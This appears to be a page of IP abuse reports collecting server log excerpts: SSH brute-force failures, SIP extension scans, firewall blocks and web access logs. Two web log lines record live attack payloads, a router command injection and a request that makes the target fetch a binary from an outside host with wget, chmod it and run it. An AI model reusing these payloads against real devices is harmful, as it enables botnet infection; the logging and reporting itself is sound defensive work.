2020-06-07T08:11:00.975376v22018076590370373 sshd[19587]: Invalid user admin from 37.49.226.236 port 59664
2020-06-07T08:11:00.982167v22018076590370373 sshd[19587]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.236
2020-06-07T08:11:00.975376v22018076590370373 sshd[19587]: Invalid user admin from 37.49.226.236 port 59664
2020-06-07T08:11:02.871991v22018076590370373 sshd[19587]: Failed password for invalid user admin from 37.49.226.236 port 59664 ssh2
2020-06-07T08:11:17.771196v22018076590370373 sshd[25609]: Invalid user administrator from 37.49.226.236 port 50972
...

Jun  2 03:11:29 debian sshd[24672]: Unable to negotiate with 37.49.226.236 port 52366: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
Jun  2 03:11:45 debian sshd[24674]: Unable to negotiate with 37.49.226.236 port 45614: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
...

(sshd) Failed SSH login from 37.49.226.236 (NL/Netherlands/-): 2 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: May 26 17:56:26 ubnt-55d23 sshd[7113]: Did not receive identification string from 37.49.226.236 port 35742
May 26 17:56:32 ubnt-55d23 sshd[7114]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.236  user=root

2020-05-24T20:00:28.243298mail.thespaminator.com sshd[7087]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.236  user=root
2020-05-24T20:00:29.600609mail.thespaminator.com sshd[7087]: Failed password for root from 37.49.226.236 port 34318 ssh2
...

2020-05-21T19:40:07.423644abusebot-8.cloudsearch.cf sshd[18514]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.236  user=root
2020-05-21T19:40:08.642886abusebot-8.cloudsearch.cf sshd[18514]: Failed password for root from 37.49.226.236 port 57334 ssh2
2020-05-21T19:40:25.203625abusebot-8.cloudsearch.cf sshd[18530]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.236  user=root
2020-05-21T19:40:26.894558abusebot-8.cloudsearch.cf sshd[18530]: Failed password for root from 37.49.226.236 port 49716 ssh2
2020-05-21T19:40:42.924974abusebot-8.cloudsearch.cf sshd[18549]: Invalid user admin from 37.49.226.236 port 42100
2020-05-21T19:40:42.931139abusebot-8.cloudsearch.cf sshd[18549]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.236
2020-05-21T19:40:42.924974abusebot-8.cloudsearch.cf sshd[18549]: Invalid user admin from 37.49.226.236 port 42100
...

Automatic report - Banned IP Access

Invalid user admin from 37.49.226.236 port 42830

trying to access non-authorized port

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

SSH Invalid Login

MAIL: User Login Brute Force Attempt

(sshd) Failed SSH login from 123.58.47.232 (CN/China/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Sep  7 18:02:47 optimus sshd[29145]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.58.47.232  user=root
Sep  7 18:02:50 optimus sshd[29145]: Failed password for root from 123.58.47.232 port 48397 ssh2
Sep  7 18:06:05 optimus sshd[30066]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.58.47.232  user=root
Sep  7 18:06:07 optimus sshd[30066]: Failed password for root from 123.58.47.232 port 60720 ssh2
Sep  7 18:07:17 optimus sshd[30413]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.58.47.232  user=root

query suspecte, attemp SQL injection log:/aero/meteo_aero.php?recherche=../&previous_lang=en&lang=zh

SSH Brute-Force attacks

srv02 Scanning Webserver Target(80:http) Events(1) ..

Lines containing failures of 180.249.164.172
Sep  7 12:19:45 *** sshd[126706]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.249.164.172  user=r.r
Sep  7 12:19:47 *** sshd[126706]: Failed password for r.r from 180.249.164.172 port 18224 ssh2
Sep  7 12:19:47 *** sshd[126706]: Received disconnect from 180.249.164.172 port 18224:11: Bye Bye [preauth]
Sep  7 12:19:47 *** sshd[126706]: Disconnected from authenticating user r.r 180.249.164.172 port 18224 [preauth]
Sep  7 12:23:00 *** sshd[126821]: Invalid user n0b0dy from 180.249.164.172 port 16869
Sep  7 12:23:00 *** sshd[126821]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.249.164.172
Sep  7 12:23:02 *** sshd[126821]: Failed password for invalid user n0b0dy from 180.249.164.172 port 16869 ssh2
Sep  7 12:23:02 *** sshd[126821]: Received disconnect from 180.249.164.172 port 16869:11: Bye Bye [preauth]
Sep  7 12:23:02 *** sshd[126821]:........
------------------------------

Sep  8 01:35:16 marvibiene sshd[952]: Failed password for root from 115.134.44.76 port 57788 ssh2
Sep  8 01:38:31 marvibiene sshd[1537]: Failed password for root from 115.134.44.76 port 48362 ssh2

IP was detected trying to Brute-Force SSH, FTP, Web Apps, Port-Scan or Hacking.

Sep  8 05:28:19 pornomens sshd\[20681\]: Invalid user ovh from 106.13.167.3 port 48272
Sep  8 05:28:19 pornomens sshd\[20681\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.167.3
Sep  8 05:28:21 pornomens sshd\[20681\]: Failed password for invalid user ovh from 106.13.167.3 port 48272 ssh2
...

Sep  8 02:58:23 hosting sshd[15185]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.234.163.220  user=root
Sep  8 02:58:25 hosting sshd[15185]: Failed password for root from 49.234.163.220 port 59188 ssh2
...

prod8
...

Sep  7 18:47:20 ovpn sshd\[14882\]: Invalid user ps3 from 91.144.162.118
Sep  7 18:47:20 ovpn sshd\[14882\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=91.144.162.118
Sep  7 18:47:21 ovpn sshd\[14882\]: Failed password for invalid user ps3 from 91.144.162.118 port 40444 ssh2
Sep  7 19:03:50 ovpn sshd\[19011\]: Invalid user lreyes from 91.144.162.118
Sep  7 19:03:50 ovpn sshd\[19011\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=91.144.162.118

2020-09-08T04:18:28.606226shield sshd\[8408\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.172.69.52  user=root
2020-09-08T04:18:30.243233shield sshd\[8408\]: Failed password for root from 167.172.69.52 port 58474 ssh2
2020-09-08T04:22:31.737951shield sshd\[8649\]: Invalid user oraprod from 167.172.69.52 port 56556
2020-09-08T04:22:31.747425shield sshd\[8649\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.172.69.52
2020-09-08T04:22:33.409591shield sshd\[8649\]: Failed password for invalid user oraprod from 167.172.69.52 port 56556 ssh2

Sep  8 09:59:43 lunarastro sshd[22384]: Failed password for root from 222.186.180.223 port 54994 ssh2
Sep  8 09:59:47 lunarastro sshd[22384]: Failed password for root from 222.186.180.223 port 54994 ssh2